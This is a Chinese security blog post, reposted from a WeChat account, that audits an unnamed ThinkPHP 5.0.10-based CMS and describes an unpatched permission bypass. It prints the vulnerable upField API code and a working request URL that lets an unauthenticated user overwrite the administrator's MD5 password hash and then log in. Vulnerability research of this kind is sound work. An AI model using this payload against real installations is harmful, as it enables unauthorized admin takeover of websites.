某CMS权限绕过漏洞(0Day)

admin 2024年11月22日13:12:25评论12 views字数 1524阅读5分4秒阅读模式

免责申明

本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。

一、前言

        不会存在相关的POC,要POC的师傅可以划走啦,这个文章记录一下自己在给xx做代码审计的一次权限绕过,大致源码方式是(得到目标->提取指纹->github搜索->拿到源码),这里可实现前台rce效果,着重讲解如何进行权限绕过的审计。

二、审计过程

    在拿到源码之后,先来查看文件目录。

某CMS权限绕过漏洞(0Day)

可以看到为经典的TP开发框架,这里让其页面报错发现为TP5.0.10。

某CMS权限绕过漏洞(0Day)

使用工具进行扫描之后未发现漏洞,开始审计,这里我们先看Application下的Controller层。

某CMS权限绕过漏洞(0Day)

admin目录就没必要看了,直接看前台可以访问到的即可,api目录,查看相关代码。

某CMS权限绕过漏洞(0Day)

这里可以看到存在一个方法upField方法,代码如下:

    public function upField(){        $table=input('table');//表名        $id_name=input('id_name');//条件字段        $id_value=input('id_value');//条件值        $field=input('field');//修改的字段        $field_value=input('field_value');//修改的值        if ($field_value=='false'){            $field_value=2;        }        if (empty($table)||empty($id_name)||empty($id_value)||empty($field)||$field_value===false){            return ajaxReturn(0,'参数不足');        }        $where[$id_name]=['eq',$id_value];        $status=Db::name($table)->where($where)->setField($field,$field_value);        if ($status){            return ajaxReturn(200,'操作成功');        }else{            return ajaxReturn(0,'操作失败');        }    }

可以看到最终调用了方法setFiled。

某CMS权限绕过漏洞(0Day)

跟入发现调用的是update更新方法,并且这里对更新的表table也是可控的,内容也是可控的,所以第一时间想到的就是把管理员密码通过方法给更新掉。

先来看看数据库的信息。

某CMS权限绕过漏洞(0Day)

可以看到存储在了ybk_admin_user表当中,password其实可以看出来是md5加密的,保险起见从代码找下password的存储方式。

某CMS权限绕过漏洞(0Day)

可以看到用户输入的password经过md5加密与数据库当中取出来的password进行比较,说明确实是md5加密。

三、漏洞验证

访问路由http://127.0.0.1/index.php/api/Api/upField

某CMS权限绕过漏洞(0Day)

可以看到参数不足,开始补充参数,再经过慢慢调试之后如下payload:

http://127.0.0.1/index.php/api/Api/upField?table=admin_user&id_name=user_id&id_value=1&field=password&field_value=1

这里表示操作admin_user表,并且字段为user_id值为1其中的password字段的值为1。

查看一下数据库的值。

某CMS权限绕过漏洞(0Day)

可以看到成果更改了,因为登陆验证为md5加密比较,所以我们把我们想要更改的密码进行md5加密之后更改即可,这里以123为例。

某CMS权限绕过漏洞(0Day)

进行修改:

某CMS权限绕过漏洞(0Day)

查看数据库:

某CMS权限绕过漏洞(0Day)

尝试登陆。

某CMS权限绕过漏洞(0Day)

四、完结

某CMS权限绕过漏洞(0Day)

原文始发于微信公众号(进击安全):某CMS权限绕过漏洞(0Day)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月22日13:12:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某CMS权限绕过漏洞(0Day)https://cn-sec.com/archives/3424579.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息